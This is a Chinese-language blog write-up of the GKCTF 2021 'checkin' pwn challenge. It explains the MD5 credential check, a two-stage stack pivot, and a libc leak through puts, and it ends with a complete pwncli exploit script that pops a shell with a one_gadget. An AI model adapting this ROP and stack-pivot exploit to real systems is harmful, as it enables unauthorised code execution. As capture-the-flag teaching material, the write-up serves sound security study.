GKCTF-2021-checkin
GKCTF-2021-checkin
总结
根据本题,学习与收获有:
- 如果程序的栈溢出只覆盖到rbp,那么大概率也是考栈迁移,只是刚好当前函数结束后会执行依次leave; ret,然后上层函数还有一次leave; ret
- 合理利用程序中的gadgets,比如call puts指令等。劫持了rdi之后衔接一个call puts,即可泄露地址
题目分析
checksec

函数分析
vuln

这个哈希函数是怎么看出来的呢?一半靠经验,一般靠猜
md5_hash
经验:

猜测某个字符的md5为:

这里需要转换一下字节序,后来一试,就是admin,也就是说user=admin passwd=admin
利用过程
- 
第一次栈迁移 需要注意的是,迁移后的栈只有 0x18个字节的操作空间,如果执行个pop rdi; ret | rdi_value,就只剩返回地址了。这个时候可以利用: 刚好可以泄露地址,又可以执行第二遍栈迁移 
- 
第二次栈迁移,此时的栈已经在 data段上了,那么直接上one_gadget肯定可以滿足条件,因为$sp+0x70之类的,大概率是0。此时需要注意的是,由于栈迁移到了data上,所以构造payload也需要格外注意一下,可以调试着去构造payload
exp
from pwncli import *
cli_script()
p = gift['io']
libc = gift['libc']
gadget = 0x4527a
pop_rdi_ret = 0x401ab3
puts_got_addr = 0x602028
call_puts_addr = 0x4018b5
s1_addr = 0x602400
payload1 = flat({
    0:"admin\x00\x00\x00",
    8: [pop_rdi_ret, puts_got_addr, call_puts_addr]
})
payload2 = flat({
    0:"admin\x00\x00\x00",
    0x20:s1_addr
}, length=0x28, filler="\x00")
# stack pivot
p.sendafter(">", payload1)
p.recvuntil("u Pass\n")
p.sendafter(">", payload2)
msg = p.recvuntil("\x7f")
libc_base_addr = u64(msg[-6:].ljust(8, b"\x00")) - libc.sym['puts']
log_address("libc_base_addr", libc_base_addr)
one_gadget_addr = libc_base_addr + gadget
payload1 = flat({
    0:"admin\x00\x00\x00",
    8: [0, 0, one_gadget_addr]
})
payload2 = flat({
    0:"admin\x00\x00\x00",
    0x10:"admin\x00\x00\x00",
    0x20:s1_addr
}, length=0x28, filler="\x00")
# pivot again
p.sendafter(">", payload1)
p.recvuntil("u Pass\n")
p.sendafter(">", payload2)
p.interactive()
泄露地址与第一次栈迁移:

拿到shell:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15229720.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号